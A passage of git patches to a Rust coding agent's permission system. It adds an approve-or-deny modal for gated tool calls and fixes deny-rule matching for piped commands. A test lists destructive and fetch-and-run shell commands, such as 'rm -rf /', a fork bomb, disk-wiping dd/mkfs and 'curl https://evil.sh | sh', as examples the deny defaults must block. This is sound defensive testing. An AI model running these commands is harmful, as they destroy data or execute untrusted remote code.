&gate, ); let result: Result<()> = tokio::select! { outcome = turn => match outcome.result { diff --git a/crates/oxide-code/src/permission.rs b/crates/oxide-code/src/permission.rs index d5fd1850..2af1571e 100644 --- a/crates/oxide-code/src/permission.rs +++ b/crates/oxide-code/src/permission.rs @@ -33,6 +33,8 @@ pub(crate) enum Mode { } impl Mode { + /// Every mode in display order, for the future `/permission` picker. Test-only until then. + #[cfg(test)] pub(crate) const ALL: [Self; 3] = [Self::Auto, Self::Plan, Self::Yolo]; pub(crate) const VALID_VALUES: &str = "auto, plan, yolo"; @@ -90,11 +92,11 @@ const DANGEROUS_DEFAULTS: &[&str] = &[ // ── Target ── -/// What a tool call acts on, matched against rule specifiers. `bash` carries its command string; -/// path tools carry the canonicalized absolute path plus the cwd-relative path when the target sits -/// inside the working directory (the same value drives the inside-cwd allow at step 3). `None` is a -/// tool with no extractable specifier (a read-only tool, or a call missing its path argument): only -/// a tool-wide rule can match it. +/// What a tool call acts on, matched against rule specifiers. `bash` carries its command string, +/// while path tools carry the canonicalized absolute path plus the cwd-relative path when the target +/// sits inside the working directory (the same value drives the inside-cwd allow at step 3). `None` +/// is a tool with no extractable specifier (a read-only tool, or a call missing its path argument): +/// only a tool-wide rule can match it. #[derive(Debug, Clone)] pub(crate) enum Target<'a> { None, @@ -120,11 +122,12 @@ impl Target<'_> { } /// Owned form of [`Target`] produced by [`crate::tool::Tool::gate_target`]. A tool extracts the -/// command or canonicalized path from its input once; the borrowing [`Self::as_target`] then feeds -/// the allocation-free matcher. Owned because a canonicalized path is not a substring of the input. +/// command or canonicalized path from its input once, and the borrowing [`Self::as_target`] then +/// feeds the allocation-free matcher. Owned because a canonicalized path is not a substring of the +/// input. #[derive(Debug, Clone, Default)] pub(crate) enum GateTarget { - /// No extractable specifier; only a tool-wide rule matches. + /// No extractable specifier, so only a tool-wide rule matches. #[default] None, Command(String), @@ -136,10 +139,10 @@ pub(crate) enum GateTarget { impl GateTarget { /// Builds a path target by resolving `path` against `cwd`. An existing path is canonicalized - /// (resolving symlinks and `..`); a path that cannot canonicalize yet (e.g. a brand-new file) - /// falls back to a lexical normalization that still resolves `..`, so a `../escape` traversal - /// can never masquerade as inside-cwd. The relative component is set only when the resolved - /// path stays inside `cwd`, which drives the inside-cwd auto-allow. + /// (resolving symlinks and `..`), while a path that cannot canonicalize yet (e.g. a brand-new + /// file) falls back to a lexical normalization that still resolves `..`, so a `../escape` + /// traversal can never masquerade as inside-cwd. The relative component is set only when the + /// resolved path stays inside `cwd`, which drives the inside-cwd auto-allow. pub(crate) fn for_path(path: &str, cwd: &std::path::Path) -> Self { let joined = cwd.join(path); let canonical = @@ -192,6 +195,9 @@ pub(crate) struct Policy { } impl Policy { + /// Builds a policy directly from parsed rule sets, skipping the [`DANGEROUS_DEFAULTS`] seeding + /// that [`Self::resolve`] applies. Test-only: production always goes through `resolve`. + #[cfg(test)] pub(crate) fn new(mode: Mode, allow: Vec, deny: Vec) -> Self { Self { mode, allow, deny } } diff --git a/crates/oxide-code/src/permission/rule.rs b/crates/oxide-code/src/permission/rule.rs index ce3e824a..14f92d29 100644 --- a/crates/oxide-code/src/permission/rule.rs +++ b/crates/oxide-code/src/permission/rule.rs @@ -2,8 +2,8 @@ //! //! The form mirrors Claude Code's for transferable muscle memory. A rule names a tool //! (case-insensitive) and an optional specifier. `bash` specifiers match the command string in -//! exact, prefix (`cargo test:*`), or wildcard (`git *`) shapes; every other tool's specifier is a -//! gitignore-style path glob. A bare tool name, `tool()`, or `tool(*)` is tool-wide. +//! exact, prefix (`cargo test:*`), or wildcard (`git *`) shapes, while every other tool's specifier +//! is a gitignore-style path glob. A bare tool name, `tool()`, or `tool(*)` is tool-wide. //! //! Because a `bash` command is an unparsed string, matching is best-effort UX rather than a //! security boundary (see `docs/design/tools/permissions.md`). The asymmetry is deliberate: an @@ -48,8 +48,8 @@ enum BashSpec { impl Rule { /// Parses a `tool(specifier)` string. The first unescaped `(` opens the specifier and the - /// trailing `)` closes it; everything else is a bare tool name. Path globs and wildcard regexes - /// compile here so a malformed rule fails at config load rather than mid-turn. + /// trailing `)` closes it, and everything else is a bare tool name. Path globs and wildcard + /// regexes compile here so a malformed rule fails at config load rather than mid-turn. pub(crate) fn parse(raw: &str) -> Result { let raw = raw.trim(); let (tool, spec_str) = match (raw.find('('), raw.strip_suffix(')')) { @@ -148,7 +148,7 @@ fn split_segments(command: &str) -> impl Iterator { } /// Converts a bash wildcard specifier to an anchored regex: literal text is escaped and `*` becomes -/// `.*`, so `git *` matches `git status` but not `cargo gitx`. +/// `.*`, so `git *` matches `git status` but not `cargo git`. fn glob_to_regex(glob: &str) -> Regex { let mut pattern = String::with_capacity(glob.len() + 4); pattern.push('^'); @@ -156,7 +156,7 @@ fn glob_to_regex(glob: &str) -> Regex { pattern.push_str(®ex::escape(part)); pattern.push_str(".*"); } - // Each segment appended a trailing `.*`; drop the final one so the regex ends at the last + // Each segment appended a trailing `.*`, so drop the final one so the regex ends at the last // literal unless the glob itself ended in `*`. pattern.truncate(pattern.len() - 2); pattern.push('$'); @@ -234,7 +234,7 @@ mod tests { fn bash_wildcard_anchors_both_ends() { let rule = Rule::parse("bash(git *)").unwrap(); assert!(rule.matches("bash", &cmd("git status"), false)); - assert!(!rule.matches("bash", &cmd("cargo gitx"), false)); + assert!(!rule.matches("bash", &cmd("cargo git"), false)); } #[test] @@ -278,7 +278,7 @@ mod tests { #[test] fn relative_path_glob_does_not_match_an_out_of_cwd_absolute_path() { // A cwd-relative glob must not match an absolute path that resolved outside the working - // directory; such targets fall through to ask rather than to a relative rule. + // directory, so such targets fall through to ask rather than to a relative rule. let rule = Rule::parse("write(.git/**)").unwrap(); assert!(!rule.matches("write", &path("/elsewhere/.git/config", None), true)); } @@ -317,7 +317,7 @@ mod tests { #[test] fn glob_to_regex_escapes_literals_and_expands_star() { - // `.` is a regex metachar; it must stay literal so `a.b *` doesn't match `axb c`. + // `.` is a regex metachar, so it must stay literal so `a.b *` doesn't match `axb c`. let re = glob_to_regex("a.b *"); assert!(re.is_match("a.b c")); assert!(!re.is_match("axb c")); @@ -333,8 +333,8 @@ mod tests { #[test] fn split_segments_drops_empty_halves_of_double_operators() { - let segs: Vec<_> = split_segments("a && b || c").collect(); - assert_eq!(segs, ["a", "b", "c"]); + let segments: Vec<_> = split_segments("a && b || c").collect(); + assert_eq!(segments, ["a", "b", "c"]); } #[test] diff --git a/crates/oxide-code/src/tool.rs b/crates/oxide-code/src/tool.rs index 77a491f2..b27c3d6a 100644 --- a/crates/oxide-code/src/tool.rs +++ b/crates/oxide-code/src/tool.rs @@ -224,6 +224,16 @@ pub(crate) trait Tool: Send + Sync { None } + /// Builds the preview the approval modal shows when this call needs the user's decision. + /// Defaults to the `summarize_call` label with a command-style body. `edit` / `write` override + /// to show a diff. Only reached when the gate returns `ask`, so it can afford to format. + fn approval_preview(&self, input: &serde_json::Value) -> crate::agent::event::ApprovalPreview { + crate::agent::event::ApprovalPreview { + title: self.summarize_call(input), + body: crate::agent::event::ApprovalBody::Command(self.summarize_call(input)), + } + } + fn run( &self, input: serde_json::Value, diff --git a/crates/oxide-code/src/tool/edit.rs b/crates/oxide-code/src/tool/edit.rs index ea6d153e..70b92e15 100644 --- a/crates/oxide-code/src/tool/edit.rs +++ b/crates/oxide-code/src/tool/edit.rs @@ -51,6 +51,15 @@ impl Tool for EditTool { .unwrap_or_default() } + fn approval_preview(&self, input: &serde_json::Value) -> crate::agent::event::ApprovalPreview { + let old = extract_input_field(input, "old_string").unwrap_or_default(); + let new = extract_input_field(input, "new_string").unwrap_or_default(); + crate::agent::event::ApprovalPreview { + title: self.summarize_call(input), + body: crate::agent::event::ApprovalBody::Diff(vec![synthesize_chunk(old, new)]), + } + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", diff --git a/crates/oxide-code/src/tool/write.rs b/crates/oxide-code/src/tool/write.rs index 530bb152..57972f36 100644 --- a/crates/oxide-code/src/tool/write.rs +++ b/crates/oxide-code/src/tool/write.rs @@ -47,6 +47,16 @@ impl Tool for WriteTool { .unwrap_or_default() } + fn approval_preview(&self, input: &serde_json::Value) -> crate::agent::event::ApprovalPreview { + let content = extract_input_field(input, "content").unwrap_or_default(); + crate::agent::event::ApprovalPreview { + title: self.summarize_call(input), + body: crate::agent::event::ApprovalBody::Diff(vec![super::edit::synthesize_chunk( + "", content, + )]), + } + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", diff --git a/crates/oxide-code/src/tui/app.rs b/crates/oxide-code/src/tui/app.rs index aa4be3bb..c114a18e 100644 --- a/crates/oxide-code/src/tui/app.rs +++ b/crates/oxide-code/src/tui/app.rs @@ -232,7 +232,9 @@ impl App { fn clear_modals(&mut self) { self.cancel_theme_preview(); - self.modals.clear(); + for action in self.modals.clear() { + self.apply_modal_action(action); + } } /// Repaints every theme-styled component for a mid-session theme swap. @@ -314,7 +316,10 @@ impl App { self.should_quit = true; true } - UserAction::Clear | UserAction::Rename { .. } | UserAction::SwapConfig { .. } => true, + UserAction::Clear + | UserAction::Rename { .. } + | UserAction::SwapConfig { .. } + | UserAction::ApprovalDecision { .. } => true, UserAction::Resume { .. } => { self.input.set_enabled(false); true @@ -518,10 +523,20 @@ impl App { self.chat.push_error(&msg); self.finish_turn(); } + AgentEvent::ApprovalRequested { id, preview } => self.push_approval_modal(id, preview), } self.dirty = true; } + /// Opens the approve-or-deny overlay for a gated tool call. Pushing onto the stack lets it nest + /// over any open picker, and the modal's cancel hook resolves the blocked agent on dismissal. + fn push_approval_modal(&mut self, id: String, preview: crate::agent::event::ApprovalPreview) { + self.modals + .push(Box::new(super::modal::approval::ApprovalModal::new( + id, preview, + ))); + } + fn finish_turn(&mut self) { self.chat.commit_streaming(); self.active_prompt = None; diff --git a/crates/oxide-code/src/tui/modal.rs b/crates/oxide-code/src/tui/modal.rs index e8969446..7539ce6f 100644 --- a/crates/oxide-code/src/tui/modal.rs +++ b/crates/oxide-code/src/tui/modal.rs @@ -4,6 +4,7 @@ //! //! Companion design: `docs/design/slash/modals.md`. +pub(crate) mod approval; pub(crate) mod kv_overview; pub(crate) mod list_picker; pub(crate) mod searchable_list; @@ -37,6 +38,14 @@ pub(crate) trait Modal: Send { /// Fires when this modal returns to the top of the stack after a nested modal pops. Default /// no-op; pickers override to refresh state mutated by the sub-modal. fn on_focus_regained(&mut self) {} + + /// Fires when the modal leaves the stack without submitting: universal-cancel (Esc / Ctrl+C), + /// a [`ModalKey::Cancelled`], or [`ModalStack::clear`]. Returns an action to dispatch in place + /// of the silent [`ModalAction::None`]. The approval modal overrides this to resolve a blocked + /// agent to `Deny` rather than strand it. Default no-op. + fn on_cancel(&mut self) -> Option { + None + } } // ── Outcomes ── @@ -100,10 +109,18 @@ impl ModalStack { self.stack.push(modal); } - /// Drop every modal on the stack. Called on session swap so picker and nested overlays don't - /// leak across sessions. - pub(crate) fn clear(&mut self) { + /// Drop every modal on the stack, firing each modal's [`Modal::on_cancel`] hook first. Called + /// on session swap so picker and nested overlays don't leak across sessions, and so a pending + /// approval resolves to a decision instead of stranding the agent. Returns the hooks' actions + /// for the caller to dispatch. + pub(crate) fn clear(&mut self) -> Vec { + let actions = self + .stack + .iter_mut() + .filter_map(|m| m.on_cancel()) + .collect(); self.stack.clear(); + actions } /// Height above the input — top modal's body plus a one-row separator. @@ -154,16 +171,12 @@ impl ModalStack { return None; } if is_universal_cancel(event) { - self.pop_and_notify(); - return Some(ModalAction::None); + return Some(self.pop_cancelled()); } let outcome = self.stack.last_mut()?.handle_key(event); match outcome { ModalKey::Consumed => None, - ModalKey::Cancelled => { - self.pop_and_notify(); - Some(ModalAction::None) - } + ModalKey::Cancelled => Some(self.pop_cancelled()), ModalKey::Submitted(action) => { self.pop_and_notify(); Some(action) @@ -184,6 +197,16 @@ impl ModalStack { top.on_focus_regained(); } } + + /// Pop the top entry for a cancellation, firing its [`Modal::on_cancel`] hook and notifying the + /// new top. Returns the hook's action, or [`ModalAction::None`] for a silent close. + fn pop_cancelled(&mut self) -> ModalAction { + let action = self.stack.pop().and_then(|mut m| m.on_cancel()); + if let Some(top) = self.stack.last_mut() { + top.on_focus_regained(); + } + action.unwrap_or(ModalAction::None) + } } fn is_universal_cancel(event: &KeyEvent) -> bool { @@ -211,6 +234,9 @@ pub(crate) mod testing { pub(crate) on_push_key: char, pub(crate) submit_action: ModalAction, pub(crate) preview_action: ModalAction, + /// Take-once action returned from [`Modal::on_cancel`]. `None` leaves the default (silent + /// close), matching pickers that don't override the hook. + pub(crate) cancel_action: Option, /// `Some` to make `on_push_key` emit `ModalKey::Push()`. Take-once: subsequent /// presses fall through to `Consumed` so a single test step can't redouble-push. pub(crate) push_child: Option>, @@ -229,6 +255,7 @@ pub(crate) mod testing { on_push_key: 'h', submit_action, preview_action: ModalAction::None, + cancel_action: None, push_child: None, declared_height: 3, focus_regained_count: Arc::new(AtomicU32::new(0)), @@ -268,6 +295,10 @@ pub(crate) mod testing { fn on_focus_regained(&mut self) { self.focus_regained_count.fetch_add(1, Ordering::Relaxed); } + + fn on_cancel(&mut self) -> Option { + self.cancel_action.take() + } } } @@ -318,9 +349,39 @@ mod tests { stack.push(Box::new(ScriptedModal::new(ModalAction::None))); stack.push(Box::new(ScriptedModal::new(ModalAction::None))); assert!(stack.is_active()); - stack.clear(); + let actions = stack.clear(); assert!(!stack.is_active(), "clear must empty the stack"); assert_eq!(stack.height(80), 0); + assert!( + actions.is_empty(), + "modals without an on_cancel override surface no action", + ); + } + + #[test] + fn clear_returns_each_modals_on_cancel_action() { + // Session swap over a pending approval must drain the modal's deny decision so the agent + // isn't stranded. The hook runs per modal, top-down, before the stack empties. + let mut stack = ModalStack::new(); + let mut bottom = ScriptedModal::new(ModalAction::None); + bottom.cancel_action = Some(ModalAction::User(UserAction::Clear)); + let mut top = ScriptedModal::new(ModalAction::None); + top.cancel_action = Some(ModalAction::User(UserAction::Cancel)); + stack.push(Box::new(bottom)); + stack.push(Box::new(top)); + + let actions = stack.clear(); + assert!(!stack.is_active()); + assert!( + matches!( + actions.as_slice(), + [ + ModalAction::User(UserAction::Clear), + ModalAction::User(UserAction::Cancel), + ], + ), + "clear must surface each modal's cancel action in stack order: {actions:?}", + ); } // ── render ── @@ -395,6 +456,43 @@ mod tests { assert!(!stack.is_active()); } + #[test] + fn handle_key_cancel_surfaces_the_modals_on_cancel_action() { + // A modal that overrides on_cancel (the approval modal) must have its deny decision + // surfaced on a ModalKey::Cancelled, not swallowed as a silent close. + let mut stack = ModalStack::new(); + let mut modal = ScriptedModal::new(ModalAction::None); + modal.cancel_action = Some(ModalAction::User(UserAction::Cancel)); + stack.push(Box::new(modal)); + let outcome = stack.handle_key(&key('c')); + assert!(matches!( + outcome, + Some(ModalAction::User(UserAction::Cancel)) + )); + assert!(!stack.is_active()); + } + + #[test] + fn handle_key_universal_cancel_surfaces_the_modals_on_cancel_action() { + // Esc / Ctrl+C bypass handle_key, so the deny decision must come from the on_cancel hook + // the stack invokes on the outgoing modal. + for cancel in [ + key_with_mods(KeyCode::Esc, KeyModifiers::NONE), + key_with_mods(KeyCode::Char('c'), KeyModifiers::CONTROL), + ] { + let mut stack = ModalStack::new(); + let mut modal = ScriptedModal::new(ModalAction::None); + modal.cancel_action = Some(ModalAction::User(UserAction::Cancel)); + stack.push(Box::new(modal)); + let outcome = stack.handle_key(&cancel); + assert!( + matches!(outcome, Some(ModalAction::User(UserAction::Cancel))), + "{cancel:?} must surface the on_cancel action", + ); + assert!(!stack.is_active()); + } + } + #[test] fn handle_key_submit_pops_and_yields_modal_action_user() { let mut stack = ModalStack::new(); diff --git a/crates/oxide-code/src/tui/modal/approval.rs b/crates/oxide-code/src/tui/modal/approval.rs new file mode 100644 index 00000000..903d0a99 --- /dev/null +++ b/crates/oxide-code/src/tui/modal/approval.rs @@ -0,0 +1,380 @@ +//! Tool-call approval overlay. Surfaces a gated call's preview and resolves the blocked agent to +//! `Approve` or `Deny`. Built from the `ConfirmDeleteSessionModal` template. See +//! `docs/design/tools/permissions.md`. + +use crossterm::event::{KeyCode, KeyEvent, KeyModifiers}; +use ratatui::Frame; +use ratatui::layout::Rect; +use ratatui::style::Modifier; +use ratatui::text::{Line, Span}; +use ratatui::widgets::Paragraph; + +use crate::agent::event::{ApprovalBody, ApprovalDecision, ApprovalPreview, UserAction}; +use crate::tool::DiffChunk; +use crate::tui::modal::{Modal, ModalAction, ModalKey}; +use crate::tui::theme::Theme; +use crate::util::text::truncate_to_width; + +// ── Constants ── + +const FOOTER_HINT: &str = "[Y] approve [N] deny"; +/// Width floor so narrow terminals still paint the body without panicking. +const MIN_BUDGET: usize = 8; +/// Cap on preview body rows. An overflowing diff or multi-line command collapses to a count. +const MAX_BODY_LINES: usize = 16; + +// ── ApprovalModal ── + +/// Approve-or-deny overlay for a gated tool call. Holds the tool-use `id` so the emitted decision +/// matches the blocked call, and resolves every dismissal path to a decision (cancel and session +/// swap deny) rather than stranding the agent. +pub(crate) struct ApprovalModal { + id: String, + title: String, + body: Vec, +} + +impl ApprovalModal { + pub(crate) fn new(id: String, preview: ApprovalPreview) -> Self { + Self { + id, + title: preview.title, + body: flatten_body(&preview.body), + } + } + + fn decision(&self, decision: ApprovalDecision) -> ModalAction { + ModalAction::User(UserAction::ApprovalDecision { + id: self.id.clone(), + decision, + }) + } +} + +impl Modal for ApprovalModal { + fn height(&self, _width: u16) -> u16 { + // title + blank + body + blank + footer. + let body = u16::try_from(self.body.len()).unwrap_or(u16::MAX); + body.saturating_add(4) + } + + fn render(&self, frame: &mut Frame<'_>, area: Rect, theme: &Theme) { + let budget = usize::from(area.width).max(MIN_BUDGET); + let mut lines: Vec> = + Vec::with_capacity(usize::from(self.height(area.width))); + + lines.push(Line::from(Span::styled( + truncate_to_width(&self.title, budget), + theme.accent().add_modifier(Modifier::BOLD), + ))); + lines.push(Line::default()); + for body_line in &self.body { + lines.push(Line::from(Span::styled( + truncate_to_width(&body_line.text, budget), + body_line.kind.style(theme), + ))); + } + lines.push(Line::default()); + lines.push(Line::from(Span::styled( + truncate_to_width(FOOTER_HINT, budget), + theme.dim(), + ))); + + frame.render_widget(Paragraph::new(lines).style(theme.surface()), area); + } + + fn handle_key(&mut self, event: &KeyEvent) -> ModalKey { + // Esc and Ctrl+C are intercepted at the stack level and resolve through `on_cancel`. N + // routes there too so the deny decision lives in exactly one place. + match event.code { + KeyCode::Char('y' | 'Y') if is_plain_char(event) => { + ModalKey::Submitted(self.decision(ApprovalDecision::Approve)) + } + KeyCode::Enter if event.modifiers.is_empty() => { + ModalKey::Submitted(self.decision(ApprovalDecision::Approve)) + } + KeyCode::Char('n' | 'N') if is_plain_char(event) => ModalKey::Cancelled, + _ => ModalKey::Consumed, + } + } + + fn on_cancel(&mut self) -> Option { + Some(self.decision(ApprovalDecision::Deny)) + } +} + +fn is_plain_char(event: &KeyEvent) -> bool { + event.modifiers.is_empty() || event.modifiers == KeyModifiers::SHIFT +} + +// ── Body ── + +/// A precomputed preview row. Text is split at construction so [`ApprovalModal::height`] stays +/// width-independent, and `render` truncates to the live width. +struct BodyLine { + kind: BodyKind, + text: String, +} + +#[derive(Clone, Copy)] +enum BodyKind { + Plain, + Removed, + Added, + Dim, +} + +impl BodyKind { + fn style(self, theme: &Theme) -> ratatui::style::Style { + match self { + Self::Plain => theme.text(), + Self::Removed => theme.error(), + Self::Added => theme.success(), + Self::Dim => theme.dim(), + } + } +} + +/// Flattens an [`ApprovalBody`] into capped preview rows: a command's lines verbatim, or a diff's +/// hunks as `-` / `+` rows. Overflow past [`MAX_BODY_LINES`] collapses to a dim count. +fn flatten_body(body: &ApprovalBody) -> Vec { + let mut rows = Vec::new(); + match body { + ApprovalBody::Command(command) => { + for line in command.lines() { + rows.push(BodyLine { + kind: BodyKind::Plain, + text: line.to_owned(), + }); + } + } + ApprovalBody::Diff(chunks) => collect_diff_rows(chunks, &mut rows), + } + cap_rows(rows) +} + +fn collect_diff_rows(chunks: &[DiffChunk], rows: &mut Vec) { + for chunk in chunks { + for line in &chunk.old { + rows.push(BodyLine { + kind: BodyKind::Removed, + text: format!("- {}", line.text), + }); + } + for line in &chunk.new { + rows.push(BodyLine { + kind: BodyKind::Added, + text: format!("+ {}", line.text), + }); + } + } +} + +fn cap_rows(mut rows: Vec) -> Vec { + if rows.len() <= MAX_BODY_LINES { + return rows; + } + let hidden = rows.len() - (MAX_BODY_LINES - 1); + rows.truncate(MAX_BODY_LINES - 1); + rows.push(BodyLine { + kind: BodyKind::Dim, + text: format!("... {hidden} more lines"), + }); + rows +} + +#[cfg(test)] +mod tests { + use ratatui::Terminal; + use ratatui::backend::TestBackend; + + use super::*; + use crate::tool::DiffLine; + + fn key(code: KeyCode) -> KeyEvent { + KeyEvent::from(code) + } + + fn modified_key(code: KeyCode, modifiers: KeyModifiers) -> KeyEvent { + KeyEvent::new(code, modifiers) + } + + fn command_modal(command: &str) -> ApprovalModal { + ApprovalModal::new( + "call-1".to_owned(), + ApprovalPreview { + title: "Bash".to_owned(), + body: ApprovalBody::Command(command.to_owned()), + }, + ) + } + + fn render_to_string(modal: &ApprovalModal, width: u16, height: u16) -> String { + let theme = Theme::default(); + let mut terminal = Terminal::new(TestBackend::new(width, height)).unwrap(); + terminal + .draw(|frame| modal.render(frame, Rect::new(0, 0, width, height), &theme)) + .unwrap(); + let buf = terminal.backend().buffer(); + let mut out = String::new(); + for y in 0..height { + for x in 0..width { + out.push_str(buf[(x, y)].symbol()); + } + out.push('\n'); + } + out + } + + // ── render ── + + #[test] + fn render_paints_title_command_body_and_footer() { + let modal = command_modal("cargo test"); + let dump = render_to_string(&modal, 40, modal.height(40)); + assert!(dump.contains("Bash"), "title appears: {dump}"); + assert!(dump.contains("cargo test"), "command body appears: {dump}"); + assert!(dump.contains("[Y] approve"), "footer hint appears: {dump}"); + } + + #[test] + fn render_paints_diff_body_with_signs() { + let modal = ApprovalModal::new( + "call-1".to_owned(), + ApprovalPreview { + title: "Write(src/main.rs)".to_owned(), + body: ApprovalBody::Diff(vec![DiffChunk { + old: vec![DiffLine { + number: 1, + text: "old line".to_owned(), + }], + new: vec![DiffLine { + number: 1, + text: "new line".to_owned(), + }], + }]), + }, + ); + let dump = render_to_string(&modal, 40, modal.height(40)); + assert!(dump.contains("- old line"), "removed row appears: {dump}"); + assert!(dump.contains("+ new line"), "added row appears: {dump}"); + } + + #[test] + fn render_does_not_panic_at_minimum_widths() { + let modal = command_modal("cargo test --all"); + for w in [4_u16, 8, 20] { + render_to_string(&modal, w, modal.height(w)); + } + } + + // ── height ── + + #[test] + fn height_counts_body_rows_plus_chrome() { + // Single command line → 1 body row, plus chrome of title + 2 blanks + footer = 4. + let modal = command_modal("ls"); + assert_eq!(modal.height(40), 5); + } + + // ── handle_key ── + + #[test] + fn y_and_enter_submit_an_approve_decision() { + for code in [KeyCode::Char('y'), KeyCode::Char('Y'), KeyCode::Enter] { + let mut modal = command_modal("ls"); + let outcome = modal.handle_key(&key(code)); + let ModalKey::Submitted(ModalAction::User(UserAction::ApprovalDecision { + id, + decision, + })) = outcome + else { + panic!("{code:?} must Submit an Approve decision; got {outcome:?}"); + }; + assert_eq!(id, "call-1"); + assert_eq!(decision, ApprovalDecision::Approve); + } + } + + #[test] + fn n_cancels_so_the_stack_resolves_the_deny_via_on_cancel() { + // N returns Cancelled, since the deny decision is produced by on_cancel, not handle_key, so + // the cancel and Esc paths share one source of the verdict. + let mut modal = command_modal("ls"); + assert!(matches!( + modal.handle_key(&key(KeyCode::Char('n'))), + ModalKey::Cancelled + )); + } + + #[test] + fn modified_confirmation_keys_do_not_approve() { + let mut modal = command_modal("ls"); + for event in [ + modified_key(KeyCode::Char('y'), KeyModifiers::CONTROL), + modified_key(KeyCode::Enter, KeyModifiers::CONTROL), + ] { + assert!(matches!(modal.handle_key(&event), ModalKey::Consumed)); + } + } + + #[test] + fn unrecognized_keys_consume_silently() { + let mut modal = command_modal("ls"); + assert!(matches!( + modal.handle_key(&key(KeyCode::Char('z'))), + ModalKey::Consumed + )); + assert!(matches!( + modal.handle_key(&key(KeyCode::Up)), + ModalKey::Consumed + )); + } + + // ── on_cancel ── + + #[test] + fn on_cancel_yields_a_deny_decision_for_this_call() { + let mut modal = command_modal("ls"); + let action = modal.on_cancel().expect("approval cancel must deny"); + let ModalAction::User(UserAction::ApprovalDecision { id, decision }) = action else { + panic!("on_cancel must deny via a UserAction; got {action:?}"); + }; + assert_eq!(id, "call-1"); + assert_eq!(decision, ApprovalDecision::Deny); + } + + // ── cap_rows ── + + #[test] + fn cap_rows_collapses_overflow_to_a_dim_count() { + let rows = (0..MAX_BODY_LINES + 5) + .map(|i| BodyLine { + kind: BodyKind::Plain, + text: format!("line {i}"), + }) + .collect(); + let capped = cap_rows(rows); + assert_eq!(capped.len(), MAX_BODY_LINES); + assert!( + matches!(capped.last().unwrap().kind, BodyKind::Dim), + "overflow row must be dim", + ); + assert_eq!( + capped.last().unwrap().text, + "... 6 more lines", + "hidden count = total - (cap - 1)", + ); + } + + #[test] + fn cap_rows_keeps_rows_under_the_cap_untouched() { + let rows = (0..3) + .map(|i| BodyLine { + kind: BodyKind::Plain, + text: format!("line {i}"), + }) + .collect(); + assert_eq!(cap_rows(rows).len(), 3); + } +} From 2d8b2a54e8a3d626f02de5ef39a8537813db1e31 Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 26 Jun 2026 10:53:12 +0800 Subject: [PATCH 06/16] fix(permission): match operator-bearing deny rules against the whole command Deny matching split a command on chain operators before matching each segment, so a deny pattern whose own text contains an operator could never match: no post-split segment retains the operator. The shipped `bash(* | sh)`, `bash(* | bash)`, and fork-bomb defaults were inert, and `curl ... | sh` fell through to ask in auto mode. Test the whole command first, then fall back to per-segment matching, so an operator-bearing pattern fires on the unsplit command while a danger chained behind a safe head is still caught. Add a data-driven test pinning every dangerous default to a command it must deny. --- crates/oxide-code/src/permission.rs | 57 ++++++++++++++++++++++++ crates/oxide-code/src/permission/rule.rs | 40 ++++++++++++++--- 2 files changed, 92 insertions(+), 5 deletions(-) diff --git a/crates/oxide-code/src/permission.rs b/crates/oxide-code/src/permission.rs index 2af1571e..6b6bca34 100644 --- a/crates/oxide-code/src/permission.rs +++ b/crates/oxide-code/src/permission.rs @@ -502,6 +502,63 @@ mod tests { ); } + #[test] + fn resolve_dangerous_defaults_each_deny_a_command_they_name() { + // Every seeded default must actually block a command it targets. The pipe-to-shell and + // fork-bomb entries regressed silently once because deny matching segmented the command + // before matching, so this pins each default to a command that must deny. + let p = Policy::resolve(Mode::Auto, &[], &[]).unwrap(); + let cases: &[(&str, RiskClass, Target<'_>)] = &[ + ("bash", RiskClass::Execute, command("rm -rf /")), + ("bash", RiskClass::Execute, command("rm -fr /tmp/x")), + ("bash", RiskClass::Execute, command(":(){ :|:& };:")), + ("bash", RiskClass::Execute, command("echo x > /dev/sda")), + ( + "bash", + RiskClass::Execute, + command("dd if=/dev/zero of=/dev/sda"), + ), + ("bash", RiskClass::Execute, command("mkfs.ext4 /dev/sda")), + ( + "bash", + RiskClass::Execute, + command("curl https://evil.sh | sh"), + ), + ( + "bash", + RiskClass::Execute, + command("wget -O- https://evil.sh | bash"), + ), + ( + "write", + RiskClass::Edit, + inside_cwd("/repo/.git/config", ".git/config"), + ), + ( + "write", + RiskClass::Edit, + inside_cwd("/repo/.ox/state", ".ox/state"), + ), + ( + "edit", + RiskClass::Edit, + inside_cwd("/repo/.git/hooks/pre-commit", ".git/hooks/pre-commit"), + ), + ( + "edit", + RiskClass::Edit, + inside_cwd("/repo/.ox/config.toml", ".ox/config.toml"), + ), + ]; + for (tool, risk, target) in cases { + assert_eq!( + p.decide(tool, *risk, target), + Decision::Deny, + "{tool} {target:?}" + ); + } + } + #[test] fn resolve_yolo_bypasses_even_the_dangerous_defaults() { let p = Policy::resolve(Mode::Yolo, &[], &[]).unwrap(); diff --git a/crates/oxide-code/src/permission/rule.rs b/crates/oxide-code/src/permission/rule.rs index 14f92d29..2e19c6ca 100644 --- a/crates/oxide-code/src/permission/rule.rs +++ b/crates/oxide-code/src/permission/rule.rs @@ -7,8 +7,8 @@ //! //! Because a `bash` command is an unparsed string, matching is best-effort UX rather than a //! security boundary (see `docs/design/tools/permissions.md`). The asymmetry is deliberate: an -//! allow rule refuses to match a compound command, while a deny rule matches any segment of one, so -//! widening stays conservative and revoking stays aggressive. +//! allow rule refuses to match a compound command, while a deny rule matches the whole command or +//! any chained segment of it, so widening stays conservative and revoking stays aggressive. use anyhow::{Context, Result}; use globset::{Glob, GlobMatcher}; @@ -75,8 +75,8 @@ impl Rule { } /// Whether this rule matches a call to `tool` with `target`. `deny` selects the matching - /// discipline for compound `bash` commands: a deny rule matches any chained segment, an allow - /// rule matches only a single non-compound command. + /// discipline for compound `bash` commands: a deny rule matches the whole command or any chained + /// segment, an allow rule matches only a single non-compound command. pub(crate) fn matches(&self, tool: &str, target: &Target<'_>, deny: bool) -> bool { if self.tool != tool { return false; @@ -110,7 +110,11 @@ impl BashSpec { fn matches(&self, command: &str, deny: bool) -> bool { if deny { - return split_segments(command).any(|seg| self.matches_segment(seg)); + // Test the whole command before splitting so a deny pattern that itself contains a chain + // operator (the shipped `* | sh` and fork-bomb defaults) still fires, then each segment + // so a danger chained behind a safe head (`ls && rm -rf`) is caught too. + return self.matches_segment(command.trim()) + || split_segments(command).any(|seg| self.matches_segment(seg)); } // Allow rules never widen a compound command: a single chained operator forfeits the match. !is_compound(command) && self.matches_segment(command.trim()) @@ -256,6 +260,32 @@ mod tests { assert!(rule.matches("bash", &cmd("echo hi; rm -rf ."), true)); } + #[test] + fn 